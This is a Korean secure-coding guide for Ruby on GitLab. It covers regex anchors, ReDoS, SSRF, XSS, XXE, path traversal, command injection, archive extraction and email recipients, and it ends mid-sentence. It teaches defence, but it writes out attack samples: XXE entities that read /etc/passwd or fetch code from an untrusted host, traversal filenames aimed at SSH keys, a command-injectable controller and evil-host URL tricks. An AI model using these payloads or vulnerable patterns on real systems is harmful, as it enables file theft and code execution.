보안 코딩 개발 가이드라인
이 문서는 GitLab 코드베이스에서 일반적으로 필요한 보안 Ruby 프로그래밍 관행에 대한 설명과 가이드라인을 포함합니다. 다른 프로그래밍 언어(예: Perl 또는 Python)와 달리 Ruby에서는 정규 표현식이 기본적으로 멀티라인을 매칭합니다.
이 문서는 GitLab 코드베이스에서 일반적으로 필요한 보안 Ruby 프로그래밍 관행에 대한 설명과 가이드라인을 포함합니다. 이 가이드라인은 개발자가 처음부터 안전한 Ruby 코드를 작성하고, 개발 프로세스 초기에 잠재적 보안 취약점을 식별하며, Ruby 관련 모범 사례를 따르도록 돕기 위한 것입니다. 이러한 표준을 준수함으로써 Ruby의 내장 보안 기능을 효과적으로 활용하면서 시간이 지남에 따라 출시되는 보안 취약점 수를 줄이는 것을 목표로 합니다.
정규 표현식 가이드라인#
Ruby에서의 앵커 / 멀티라인#
다른 프로그래밍 언어(예: Perl 또는 Python)와 달리 Ruby에서는 정규 표현식이 기본적으로 멀티라인을 매칭합니다. 다음 Python 예시를 살펴보세요:
import re
text = "foo\nbar"
matches = re.findall("^bar$",text)
print(matches)
Python 예시는 매처가 줄바꿈(\n)을 포함한 전체 문자열 foo\nbar를 고려하므로 빈 배열([])을 출력합니다. 반면 Ruby의 정규 표현식 엔진은 다르게 동작합니다:
text = "foo\nbar"
p text.match /^bar$/
이 예시의 출력은 #입니다. Ruby가 입력 text를 줄 단위로 처리하기 때문입니다. 전체 문자열을 매칭하려면 Regex 앵커 \A와 \z를 사용해야 합니다.
영향#
이 Ruby Regex의 특성은 보안에 영향을 미칠 수 있습니다. 정규 표현식은 종종 유효성 검사나 사용자 입력에 대한 제한을 부과하는 데 사용되기 때문입니다.
예시#
GitLab 관련 예시는 다음 경로 탐색 및 오픈 리다이렉트 이슈에서 찾을 수 있습니다.
또 다른 예시로는 다음 가상의 Ruby on Rails 컨트롤러가 있습니다:
class PingController < ApplicationController
def ping
if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
render :text => `ping -c 4 #{params[:ip]}`
else
render :text => "Invalid IP"
end
end
end
여기서 params[:ip]는 숫자와 점 이외의 것을 포함하면 안 됩니다. 그러나 Regex 앵커 ^와 $를 사용하고 있어 이 제한을 우회할 수 있습니다. 결국 params[:ip]에 줄바꿈을 사용하여 ping -c 4 #{params[:ip]}에서 셸 명령 인젝션으로 이어집니다.
완화#
대부분의 경우 ^와 $ 대신 텍스트 시작을 위한 \A와 텍스트 끝을 위한 \z 앵커를 사용해야 합니다.
서비스 거부(ReDoS) / 재앙적 역추적#
정규 표현식(regex)이 문자열을 검색하다가 일치하는 항목을 찾지 못할 때, 다른 가능성을 시도하기 위해 역추적할 수 있습니다.
예를 들어 regex .*!$가 문자열 hello!를 매칭할 때, .*가 먼저 전체 문자열과 매칭하지만
regex의 !가 해당 문자가 이미 사용되었기 때문에 매칭할 수 없습니다. 이 경우 Ruby regex 엔진은
!가 매칭할 수 있도록 한 문자를 _역추적_합니다.
ReDoS는 공격자가 사용되는 정규 표현식을 알거나 제어할 수 있는 공격입니다. 공격자는 이 역추적 동작을 유발하는 사용자 입력을 입력하여 실행 시간을 몇 자릿수 수준으로 증가시킬 수 있습니다.
영향#
예를 들어 Puma나 Sidekiq과 같은 리소스가 잘못된 regex 매칭을 평가하는 데 오랜 시간이 걸려 중단될 수 있습니다. 평가 시간이 길어지면 리소스를 수동으로 종료해야 할 수 있습니다.
예시#
다음은 GitLab 관련 예시입니다.
정규 표현식을 생성하는 데 사용되는 사용자 입력:
역추적 문제가 있는 하드코딩된 정규 표현식:
다음 예시 애플리케이션을 고려해보세요. 정규 표현식을 사용하는 검사를 정의합니다. 양식에서 이메일로 user@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!.com을 입력하면 웹 서버가 중단됩니다.
# For ruby versions < 3.2.0
# Press Control+C to terminate a hung process
class Email < ApplicationRecord
DOMAIN_MATCH = Regexp.new('([a-zA-Z0-9]+)+\.com')
validates :domain_matches
private
def domain_matches
errors.add(:email, 'does not match') if email =~ DOMAIN_MATCH
end
end
완화#
Ruby 3.2.0 이상#
Ruby는 3.2.0에서 ReDoS에 대한 Regexp 개선을 출시했습니다. _"역참조나 look-around 같은 고급 기능을 포함하거나 반복 횟수가 매우 많은 특정 종류의 정규 표현식"_을 제외하고 ReDoS는 더 이상 문제가 되지 않습니다.
GitLab이 전역 Regexp 타임아웃을 적용할 때까지 특히 고급 기능을 사용하거나 반복 횟수가 많은 경우 명시적인 타임아웃 파라미터를 전달해야 합니다. 예를 들면:
Regexp.new('^a*b?a*()\1$', timeout: 1) # timeout in seconds
Ruby 3.2.0 이전#
GitLab에는 내부적으로 re2 라이브러리를 사용하는 Gitlab::UntrustedRegexp가 있습니다.
re2는 역추적을 지원하지 않으므로 일정한 실행 시간과 더 작은 regex 기능 하위 집합을 제공합니다.
모든 사용자 제공 정규 표현식은 Gitlab::UntrustedRegexp를 사용해야 합니다.
다른 정규 표현식에 대한 몇 가지 가이드라인:
String#start_with?와 같이 깔끔한 비-regex 솔루션이 있다면 사용을 고려하세요- Ruby는 역추적을 제거하는 원자적 그룹과 강세 수량자와 같은 고급 regex 기능을 지원합니다
- 가능하면 중첩된 수량자를 피하세요(예:
(a+)+) - regex를 가능한 한 정밀하게 작성하고 대안이 있다면
.를 피하세요- 예를 들어
_text here_를 매칭하려면_.*_대신_[^_]+_를 사용하세요
- 예를 들어
- 무제한
*및+매처 대신 반복 패턴에 합리적인 범위(예:{1,10})를 사용하세요 - 가능하면 정규 표현식을 사용하기 전에 최대 문자열 길이 검사와 같은 간단한 입력 유효성 검사를 수행하세요
- 의심스러운 경우 주저하지 말고
@gitlab-com/gl-security/appsec에 문의하세요
서버 측 요청 위조(SSRF)#
설명#
서버 측 요청 위조(SSRF)는 공격자가 애플리케이션을 강제로 의도치 않은 리소스로 아웃바운드 요청을 만들도록 하는 공격입니다. 이 리소스는 보통 내부에 있습니다. GitLab에서는 HTTP를 가장 일반적으로 사용하지만 SSRF는 Redis나 SSH와 같은 모든 프로토콜로 수행될 수 있습니다.
SSRF 공격에서 UI는 응답을 표시할 수도 있고 표시하지 않을 수도 있습니다. 후자의 경우를 Blind SSRF라고 합니다. 영향이 줄어들지만 특히 정찰의 일부로 내부 네트워크 서비스를 매핑하는 데 공격자에게 여전히 유용할 수 있습니다.
영향#
SSRF의 영향은 애플리케이션 서버가 통신할 수 있는 대상, 공격자가 페이로드를 얼마나 제어할 수 있는지, 응답이 공격자에게 반환되는지에 따라 달라질 수 있습니다. GitLab에 보고된 영향 예시:
- 내부 서비스의 네트워크 매핑
- 추가 공격에 사용될 수 있는 내부 서비스에 대한 정보를 공격자가 수집하는 데 도움이 될 수 있습니다. 자세한 내용.
- 클라우드 서비스 메타데이터를 포함한 내부 서비스 읽기
- 후자는 심각한 문제가 될 수 있습니다. 공격자가 피해자의 클라우드 인프라를 제어할 수 있는 키를 획득할 수 있기 때문입니다. (토큰에 필요한 권한만 부여하는 것도 좋은 이유입니다.) 자세한 내용.
- CRLF 취약점과 결합된 경우 원격 코드 실행. 자세한 내용.
고려해야 할 시점#
- 애플리케이션이 아웃바운드 연결을 만들 때
완화#
SSRF 취약점을 완화하려면 특히 사용자 제공 정보가 포함된 경우 아웃바운드 요청의 대상을 검증해야 합니다.
GitLab 내에서 선호하는 SSRF 완화 방법:
- 알려진 신뢰할 수 있는 도메인/IP 주소에만 연결합니다.
Gitlab::HTTP라이브러리를 사용합니다- 기능별 완화를 구현합니다
GitLab HTTP 라이브러리#
Gitlab::HTTP 래퍼 라이브러리는 GitLab이 알고 있는 모든 SSRF 벡터에 대한 완화를 포함하도록 성장했습니다. 또한 인스턴스 관리자가 모든 내부 연결을 차단하거나 연결할 수 있는 네트워크를 제한할 수 있는 Outbound requests 옵션을 존중하도록 구성되어 있습니다.
Gitlab::HTTP 래퍼 라이브러리는 요청을 gitlab-http gem에 위임합니다.
경우에 따라 Gitlab::HTTP를 타사 gem의 HTTP 연결 라이브러리로 구성할 수 있었습니다. 이는 새 기능을 위해 완화를 재구현하는 것보다 선호됩니다.
URL 차단기 및 유효성 검사 라이브러리#
Gitlab::HTTP_V2::UrlBlocker는 제공된 URL이 일련의 제약 조건을 충족하는지 검증하는 데 사용할 수 있습니다. 중요하게도, dns_rebind_protection이 true일 때 메서드는 호스트 이름이 IP 주소로 대체된 안전한 URI를 반환합니다. DNS 레코드가 이미 확인되었기 때문에 DNS 리바인딩 공격을 방지합니다. 그러나 이 반환 값을 무시하면 DNS 리바인딩에 대한 보호가 되지 않습니다.
이는 AddressableUrlValidator와 같은 유효성 검사기의 경우에도 해당됩니다(validates :url, addressable_url: {opts} 또는 public_url: {opts}로 호출됨).
유효성 검사 오류는 레코드가 생성되거나 저장될 때와 같이 유효성 검사가 호출될 때만 발생합니다. 레코드를 유지할 때 유효성 검사에서 반환된 값을 무시하면 사용하기 전에 유효성을 다시 확인해야 합니다. 자세한 내용은 시간 체크에서 사용 시간까지의 버그를 참고하세요.
기능별 완화#
일반적인 SSRF 유효성 검사를 우회하는 많은 트릭이 있습니다. 기능별 완화가 필요한 경우 AppSec 팀이나 이전에 SSRF 완화 작업을 수행한 개발자가 검토해야 합니다.
허용 목록이나 GitLab:HTTP를 사용할 수 없는 상황에서는 기능에 직접 완화를 구현해야 합니다. 공격자가 DNS를 제어할 수 있으므로 도메인 이름만이 아닌 대상 IP 주소 자체를 검증하는 것이 가장 좋습니다. 다음은 구현해야 할 완화 목록입니다.
- 모든 localhost 주소에 대한 연결 차단
127.0.0.1/8(IPv4 - 서브넷 마스크 유의)::1(IPv6)
- 개인 주소 지정이 있는 네트워크에 대한 연결 차단(RFC 1918)
10.0.0.0/8172.16.0.0/12192.168.0.0/24
- 링크-로컬 주소에 대한 연결 차단(RFC 3927)
169.254.0.0/16- 특히 GCP의 경우:
metadata.google.internal->169.254.169.254
- HTTP 연결의 경우: 리다이렉트 비활성화 또는 리다이렉트 대상 검증
- DNS 리바인딩 공격을 완화하려면 수신된 첫 번째 IP 주소를 검증하고 사용하세요.
SSRF 페이로드 예시는 url_blocker_spec.rb를 참고하세요. DNS 리바인딩 클래스의 버그에 대한 자세한 내용은 시간 체크에서 사용 시간까지의 버그를 참고하세요.
URL을 검증할 때 .start_with?와 같은 메서드에 의존하거나 문자열의 어떤 부분이 URL의 어떤 부분에 해당하는지 가정하지 마세요. URI 클래스를 사용하여 문자열을 파싱하고 각 구성 요소(스킴, 호스트, 포트, 경로 등)를 검증하세요. 공격자는 안전해 보이지만 악의적인 위치로 이어지는 유효한 URL을 만들 수 있습니다.
user_supplied_url = "https://my-safe-site.com@my-evil-site.com" # Content before an @ in a URL is usually for basic authentication
user_supplied_url.start_with?("https://my-safe-site.com") # Don't trust with start_with? for URLs!
=> true
URI.parse(user_supplied_url).host
=> "my-evil-site.com"
user_supplied_url = "https://my-safe-site.com-my-evil-site.com"
user_supplied_url.start_with?("https://my-safe-site.com") # Don't trust with start_with? for URLs!
=> true
URI.parse(user_supplied_url).host
=> "my-safe-site.com-my-evil-site.com"
# Here's an example where we unsafely attempt to validate a host while allowing for
# subdomains
user_supplied_url = "https://my-evil-site-my-safe-site.com"
user_supplied_host = URI.parse(user_supplied_url).host
=> "my-evil-site-my-safe-site.com"
user_supplied_host.end_with?("my-safe-site.com") # Don't trust with end_with?
=> true
XSS 가이드라인#
설명#
크로스 사이트 스크립팅(XSS)은 악의적인 JavaScript 코드가 신뢰할 수 있는 웹 애플리케이션에 주입되어 클라이언트 브라우저에서 실행되는 문제입니다. 입력은 데이터로 의도되었지만 브라우저에 의해 코드로 처리됩니다.
XSS 문제는 일반적으로 전달 방법에 따라 세 가지 카테고리로 분류됩니다:
영향#
주입된 클라이언트 측 코드는 피해자의 현재 세션 컨텍스트에서 피해자의 브라우저에서 실행됩니다. 이는 공격자가 피해자가 브라우저를 통해 일반적으로 할 수 있는 동일한 작업을 수행할 수 있음을 의미합니다. 공격자는 또한 다음을 할 수 있습니다:
- 피해자 키 입력 로깅
- 피해자의 브라우저에서 네트워크 스캔 실행
- 잠재적으로 피해자의 세션 토큰 획득
- 데이터 손실/도난 또는 계정 탈취로 이어지는 작업 수행
많은 영향은 애플리케이션의 기능과 피해자 세션의 능력에 따라 달라집니다. 추가 영향 가능성은 beef 프로젝트를 확인하세요.
현실적인 공격 시나리오로 GitLab에 대한 영향 시연은 GitLab Unfiltered 채널의 이 동영상을 참고하세요(내부용, GitLab Unfiltered 계정으로 로그인 필요).
Rails에서의 완화 및 예방#
기본적으로 Rails는 HTML 템플릿에 문자열을 삽입할 때 자동으로 이스케이프합니다. Rails가 문자열을 이스케이프하지 못하도록 하는 메서드, 특히 사용자 제어 값과 관련된 메서드를 피하세요. 특히 다음 옵션은 문자열을 신뢰할 수 있고 안전한 것으로 표시하므로 위험합니다:
| 메서드 | 피해야 할 옵션 |
|---|---|
| HAML 템플릿 | html_safe, raw, != |
| Embedded Ruby (ERB) | html_safe, raw, <%== %> |
XSS 취약점으로부터 사용자 제어 값을 정제하려면
ActionView::Helpers::SanitizeHelper를 사용할 수 있습니다.
사용자 제어 파라미터로 link_to와 redirect_to를 호출하면 크로스 사이트 스크립팅으로 이어질 수 있습니다.
URL 스킴도 정제하고 검증하세요.
참조:
XML 외부 엔티티#
설명#
XML 외부 엔티티(XXE) 인젝션은 XML 입력을 파싱하는 애플리케이션에 대한 공격 유형입니다. 이 공격은 외부 엔티티에 대한 참조를 포함하는 XML 입력이 잘못 구성된 XML 파서에 의해 처리될 때 발생합니다. 기밀 데이터 노출, 서비스 거부, 서버 측 요청 위조, 파서가 위치한 시스템 관점에서의 포트 스캔, 기타 시스템 영향으로 이어질 수 있습니다.
완화#
코드베이스에서 XXE 취약점을 방지하는 두 가지 주요 방법:
안전한 XML 파서 사용: Ruby로 코딩할 때 Nokogiri 사용을 선호합니다. Nokogiri는 XXE 공격으로부터 보호하는 안전한 기본값을 제공하므로 훌륭한 옵션입니다. 자세한 내용은 HTML/XML 문서 파싱에 관한 Nokogiri 문서를 참고하세요.
Nokogiri를 사용할 때는 특히 정제되지 않은 사용자 입력으로 작업할 때 기본 또는 안전한 파싱 설정을 사용하세요. 다음 안전하지 않은 Nokogiri 설정을 사용하지 마세요 ⚠️:
| 설정 | 설명 |
|---|---|
dtdload |
정제되지 않은 사용자 입력으로 작업할 때 안전하지 않은 객체의 DTD 유효성을 검증하려 합니다. |
huge |
서비스 거부에 사용될 수 있는 객체의 최대 크기/깊이를 해제합니다. |
nononet |
네트워크 연결을 허용합니다. |
noent |
XML 엔티티 확장을 허용하여 임의 파일 읽기로 이어질 수 있습니다. |
안전한 XML 라이브러리#
require 'nokogiri'
# Safe by default
doc = Nokogiri::XML(xml_string)
안전하지 않은 XML 라이브러리, 파일 시스템 유출#
require 'rexml/document'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# Parsing XML without proper safeguards
doc = REXML::Document.new(xml)
puts doc.root.text
# This could output /etc/passwd
Noent 안전하지 않은 설정 초기화, 잠재적 파일 시스템 유출#
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# noent substitutes entities, unsafe when parsing XML
po = Nokogiri::XML::ParseOptions.new.huge.noent
doc = Nokogiri::XML::Document.parse(xml, nil, nil, po)
puts doc.root.text # This will output the contents of /etc/passwd
##
# User Database
#
# Note that this file is consulted directly only when the system is running
...
Nononet 안전하지 않은 설정 초기화, 잠재적 악성 코드 실행#
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://untrustedhost.example.com/maliciousCode" >]>
<foo>&xxe;</foo>
EOX
# In this example we use `ParseOptions` but select insecure options.
# NONONET allows network connections while parsing which is unsafe, as is DTDLOAD!
options = Nokogiri::XML::ParseOptions.new(Nokogiri::XML::ParseOptions::NONONET, Nokogiri::XML::ParseOptions::DTDLOAD)
# Parsing the xml above would allow `untrustedhost` to run arbitrary code on our server.
# See the "Impact" section for more.
doc = Nokogiri::XML::Document.parse(xml, nil, nil, options)
Noent 안전하지 않은 설정 지정, 잠재적 파일 시스템 유출#
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# setting options may also look like this, NONET disallows network connections while parsing safe
options = Nokogiri::XML::ParseOptions::NOENT | Nokogiri::XML::ParseOptions::NONET
doc = Nokogiri::XML(xml, nil, nil, options) do |config|
config.nononet # Allows network access
config.noent # Enables entity expansion
config.dtdload # Enables DTD loading
end
puts doc.to_xml
# This could output the contents of /etc/passwd
영향#
XXE 공격은 임의 파일 읽기, 원격 코드 실행, 정보 노출과 같은 여러 심각한 취약점으로 이어질 수 있습니다.
고려해야 할 시점#
특히 사용자 제어 입력으로 XML 파싱 작업을 할 때.
경로 탐색 가이드라인#
설명#
경로 탐색 취약점은 공격자가 애플리케이션을 실행하는 서버의 임의 디렉터리와 파일에 접근할 수 있게 합니다. 이 데이터에는 데이터, 코드 또는 자격 증명이 포함될 수 있습니다.
탐색은 경로에 디렉터리가 포함될 때 발생할 수 있습니다. 일반적인 악의적인 예시로는 파일 시스템에 상위 디렉터리를 찾도록 지시하는 하나 이상의 ../가 포함됩니다. 경로에 많이 공급하면(예: ../../../../../../../etc/passwd) 보통 /etc/passwd로 확인됩니다. 파일 시스템이 루트 디렉터리로 돌아가도록 지시받고 더 이상 뒤로 갈 수 없다면 추가 ../는 무시됩니다. 파일 시스템은 루트에서 찾아 /etc/passwd를 결과로 반환합니다 - 악의적인 공격자에게 절대 노출해서는 안 될 파일입니다!
영향#
경로 탐색 공격은 임의 파일 읽기, 원격 코드 실행, 정보 노출과 같은 여러 심각한 취약점으로 이어질 수 있습니다.
고려해야 할 시점#
사용자 제어 파일명/경로와 파일 시스템 API를 사용할 때.
완화 및 예방#
경로 탐색 취약점을 방지하기 위해 사용자 제어 파일명이나 경로는 처리되기 전에 검증되어야 합니다.
- 허용된 값의 허용 목록과 사용자 입력을 비교하거나 허용된 문자만 포함하는지 확인합니다.
- 사용자 제공 입력을 검증한 후 기본 디렉터리에 추가하고 파일 시스템 API를 사용하여 경로를 정규화해야 합니다.
GitLab 특화 검증#
Gitlab::PathTraversal.check_path_traversal!() 및 Gitlab::PathTraversal.check_allowed_absolute_path!() 메서드를 사용하여 사용자 제공 경로를 검증하고 취약점을 방지할 수 있습니다.
check_path_traversal!()은 경로 탐색 페이로드를 감지하고 URL 인코딩된 경로를 허용합니다.
check_allowed_absolute_path!()는 경로가 절대 경로인지 허용된 경로 목록 내에 있는지 확인합니다. 기본적으로 절대 경로는 허용되지 않으므로 check_allowed_absolute_path!()를 사용할 때 path_allowlist 파라미터에 허용된 절대 경로 목록을 전달해야 합니다.
두 검사를 함께 사용하려면 아래 예시를 따르세요:
Gitlab::PathTraversal.check_allowed_absolute_path_and_path_traversal!(path, path_allowlist)
REST API에는 엔드포인트가 가진 파일 경로 인수에 대한 검사를 수행하는 데 사용할 수 있는 FilePath 유효성 검사기가 있습니다.
다음과 같이 사용할 수 있습니다:
requires :file_path, type: String, file_path: { allowlist: ['/foo/bar/', '/home/foo/', '/app/home'] }
경로 탐색 검사는 절대 경로를 금지하는 데도 사용할 수 있습니다:
requires :file_path, type: String, file_path: true
기본적으로 절대 경로는 허용되지 않습니다. 절대 경로를 허용해야 하는 경우 allowlist 파라미터에 경로 배열을 제공해야 합니다.
오해를 불러일으키는 동작#
파일 경로를 구성하는 데 사용되는 일부 메서드는 직관적이지 않은 동작을 가질 수 있습니다. 사용자 입력을 올바르게 검증하려면 이러한 동작을 숙지하세요.
Ruby 메서드 Pathname.join은 경로명을 결합합니다. 특정 방식으로 메서드를 사용하면 일반적인 사용에서 금지된 경로명이 생성될 수 있습니다. 아래 예시에서 민감한 파일인 /etc/passwd에 접근하려는 시도를 볼 수 있습니다:
require 'pathname'
p = Pathname.new('tmp')
print(p.join('log', 'etc/passwd', 'foo'))
# => tmp/log/etc/passwd/foo
두 번째 파라미터가 사용자 제공이며 검증되지 않았다고 가정하면 새 절대 경로를 제출하면 다른 경로가 됩니다:
print(p.join('log', '/etc/passwd', ''))
# renders the path to "/etc/passwd", which is not what we expect!
OS 명령 인젝션 가이드라인#
명령 인젝션은 공격자가 취약한 애플리케이션을 통해 호스트 운영 체제에서 임의 명령을 실행할 수 있는 문제입니다. 이러한 공격이 항상 사용자에게 피드백을 제공하는 것은 아니지만 공격자는 curl과 같은 간단한 명령을 사용하여 응답을 얻을 수 있습니다.
영향#
명령 인젝션의 영향은 명령을 실행하는 사용자 컨텍스트와 데이터의 검증 및 정제 방식에 크게 달려 있습니다. 주입된 명령을 실행하는 사용자가 제한된 권한을 가진 경우 낮은 영향에서 루트 사용자로 실행하는 경우 심각한 영향까지 다양할 수 있습니다.
잠재적인 영향:
- 호스트 머신에서의 임의 명령 실행.
- 비밀이나 구성 파일의 비밀번호와 토큰을 포함한 민감한 데이터에 대한 무단 접근.
/etc/passwd/또는/etc/shadow와 같은 호스트 머신의 민감한 시스템 파일 노출.- 호스트 머신에 대한 접근을 통해 획득한 관련 시스템 및 서비스의 손상.
OS 명령을 실행하는 데 사용되는 사용자 제어 데이터를 다룰 때 명령 인젝션을 인지하고 방지하는 조치를 취해야 합니다.
완화 및 예방#
OS 명령 인젝션을 방지하려면 사용자 제공 데이터를 OS 명령 내에서 사용하지 않아야 합니다. 이를 피할 수 없는 경우:
- 허용 목록에 대해 사용자 제공 데이터를 검증하세요.
- 사용자 제공 데이터가 영숫자 문자만 포함하는지 확인하세요(예: 구문이나 공백 문자 없음).
- 항상
--를 사용하여 옵션과 인수를 구분하세요.
가능하면 system("command", "arg0", "arg1", ...)을 사용하는 것을 고려하세요. 이렇게 하면 공격자가 명령을 연결하는 것을 방지합니다.
셸 명령을 안전하게 사용하는 방법에 대한 더 많은 예시는 GitLab 코드베이스의 셸 명령 가이드라인을 참고하세요. OS 명령을 안전하게 호출하는 다양한 예시가 포함되어 있습니다.
아카이브 파일 작업#
zip, tar, jar, war, cpio, apk, rar, 7z와 같은 아카이브 파일 작업은 애플리케이션에 잠재적으로 심각한 보안 취약점이 생길 수 있는 영역입니다.
아카이브 파일을 안전하게 작업하기 위한 유틸리티#
아카이브 파일을 안전하게 작업하는 데 사용할 수 있는 일반적인 유틸리티가 있습니다.
| 아카이브 유형 | 유틸리티 |
|---|---|
zip |
SafeZip |
SafeZip#
SafeZip은 SafeZip::Extract 클래스를 통해 zip 아카이브 내의 특정 디렉터리나 파일을 안전하게 추출하는 인터페이스를 제공합니다.
예시:
Dir.mktmpdir do |tmp_dir|
SafeZip::Extract.new(zip_file_path).extract(files: ['index.html', 'app/index.js'], to: tmp_dir)
SafeZip::Extract.new(zip_file_path).extract(directories: ['src/', 'test/'], to: tmp_dir)
rescue SafeZip::Extract::EntrySizeError
raise Error, "Path `#{file_path}` has invalid size in the zip!"
end
Zip Slip#
2018년 보안 회사 Snyk은 많은 라이브러리와 애플리케이션에 존재하는 광범위하고 심각한 취약점에 대한 블로그 게시물을 발표했습니다. 이 취약점은 공격자가 서버 파일 시스템의 임의 파일을 덮어쓸 수 있게 하며, 많은 경우 원격 코드 실행을 달성하는 데 활용될 수 있습니다. 이 취약점은 Zip Slip이라는 이름이 붙었습니다.
Zip Slip 취약점은 애플리케이션이 파일을 추출할 때 위치를 변경하는 디렉터리 탐색 시퀀스에 대해 아카이브 내의 파일명을 검증하고 정제하지 않고 추출할 때 발생합니다.
악의적인 파일명 예시:
../../etc/passwd../../root/.ssh/authorized_keys../../etc/gitlab/gitlab.rb
취약한 애플리케이션이 이러한 파일명 중 하나가 포함된 아카이브 파일을 추출하면 공격자는 이 파일들을 임의 내용으로 덮어쓸 수 있습니다.
안전하지 않은 아카이브 추출 예시#
zip 파일의 경우 rubyzip Ruby gem은 이미 Zip Slip 취약점에 대해 패치되어 디렉터리 탐색을 수행하려는 파일 추출을 거부하므로, 이 취약한 예시에서는 Gem::Package::TarReader로 tar.gz 파일을 추출합니다:
# Vulnerable tar.gz extraction example!
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
tar_extract.each do |entry|
next unless entry.file? # Only process files in this example for simplicity.
destination = "/tmp/extracted/#{entry.full_name}" # Oops! We blindly use the entry filename for the destination.
File.open(destination, "wb") do |out|
out.write(entry.read)
end
end
모범 사례#
항상 잠재적인 디렉터리 탐색 및 경로를 변경할 수 있는 기타 시퀀스를 확인하여 대상 파일 경로를 확장하고 최종 대상 경로가 의도한 대상 디렉터리로 시작하지 않으면 추출을 거부하세요.
# tar.gz extraction example with protection against Zip Slip attacks.
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
tar_extract.each do |entry|
next unless entry.file? # Only process files in this example for simplicity.
# safe_destination will raise an exception in case of Zip Slip / directory traversal.
destination = safe_destination(entry.full_name, "/tmp/extracted")
File.open(destination, "wb") do |out|
out.write(entry.read)
end
end
def safe_destination(filename, destination_dir)
raise "filename cannot start with '/'" if filename.start_with?("/")
destination_dir = File.realpath(destination_dir)
destination = File.expand_path(filename, destination_dir)
raise "filename is outside of destination directory" unless
destination.start_with?(destination_dir + "/"))
destination
end
# zip extraction example using rubyzip with built-in protection against Zip Slip attacks.
require 'zip'
Zip::File.open("/tmp/uploaded.zip") do |zip_file|
zip_file.each do |entry|
# Extract entry to /tmp/extracted directory.
entry.extract("/tmp/extracted")
end
end
심링크 공격#
심링크 공격은 공격자가 취약한 애플리케이션 서버의 임의 파일 내용을 읽을 수 있게 합니다. 원격 코드 실행과 기타 심각한 취약점으로 이어질 수 있는 고위험 취약점이지만, 취약한 애플리케이션이 공격자로부터 아카이브 파일을 받아 아카이브 내 심볼릭 링크에 대한 검증이나 정제 없이 추출된 내용을 어떤 방식으로든 공격자에게 다시 표시하는 시나리오에서만 악용 가능합니다.
안전하지 않은 아카이브 심링크 추출 예시#
zip 파일의 경우 rubyzip Ruby gem은 이미 심볼릭 링크를 무시하므로 심링크 공격에 대해 패치되어 있습니다. 따라서 이 취약한 예시에서는 Gem::Package::TarReader로 tar.gz 파일을 추출합니다:
# Vulnerable tar.gz extraction example!
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
# Loop over each entry and output file contents
tar_extract.each do |entry|
next if entry.directory?
# Oops! We don't check if the file is actually a symbolic link to a potentially sensitive file.
puts entry.read
end
모범 사례#
내용을 읽기 전에 항상 아카이브 항목의 유형을 확인하고 일반 파일이 아닌 항목을 무시하세요. 심볼릭 링크를 반드시 지원해야 하는 경우 아카이브 내의 파일만 가리키고 다른 곳은 가리키지 않도록 하세요.
# tar.gz extraction example with protection against symlink attacks.
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
# Loop over each entry and output file contents
tar_extract.each do |entry|
next if entry.directory?
# By skipping symbolic links entirely, we are sure they can't cause any trouble!
next if entry.symlink?
puts entry.read
end
URL 스푸핑#
악의적인 행위자가 GitLab 기능을 사용하여 다른 사용자를 악성 사이트로 리다이렉트하려는 시도로부터 사용자를 보호하고자 합니다.
GitLab의 많은 기능은 사용자가 외부 웹사이트 링크를 게시할 수 있게 합니다. 사용자가 지정한 링크의 대상이 사용자에게 매우 명확하게 표시되는 것이 중요합니다.
external_redirect_path#
사용자가 제공한 링크를 표시할 때 실제 URL이 숨겨진 경우 먼저 경고 페이지로 리다이렉트하려면 external_redirect_path 헬퍼 메서드를 사용하세요. 예를 들면:
# Bad :(
# This URL comes from User-Land and may not be safe...
# We need the user to see where they are going.
link_to foo_social_url(@user), title: "Foo Social" do
sprite_icon('question-o')
end
# Good :)
# The external_redirect "leaving GitLab" page will show the URL to the user
# before they leave.
link_to external_redirect_path(url: foo_social_url(@user)), title: "Foo" do
sprite_icon('question-o')
end
실제 사용 예시도 참고하세요.
이메일 및 알림#
의도된 수신자만 이메일과 알림을 받도록 하세요. 코드가 머지될 때 안전하더라도 이메일을 보내기 직전에 심층 방어 "단일 수신자" 검사를 사용하는 것이 더 좋은 관행입니다. 이는 이후에 취약한 코드가 커밋되더라도 취약점을 방지합니다. 예를 들면:
예시#
# Insecure if email is user-controlled
def insecure_email(email)
mail(to: email, subject: 'Password reset email')
end
# A single recipient, just as a developer expects
insecure_email("person@example.com")
# Multiple emails sent when an array is passed
insecure_email(["person@example.com", "attacker@evil.com"])
# Multiple emails sent even when a single string is passed
insecure_email("person@example.com, attacker@evil.com")
예방 및 방어#
- 단일 수신자를 위한 새 이메일을 추가할 때
Gitlab::Email::SingleRecipientValidator를 사용하세요 - 값에
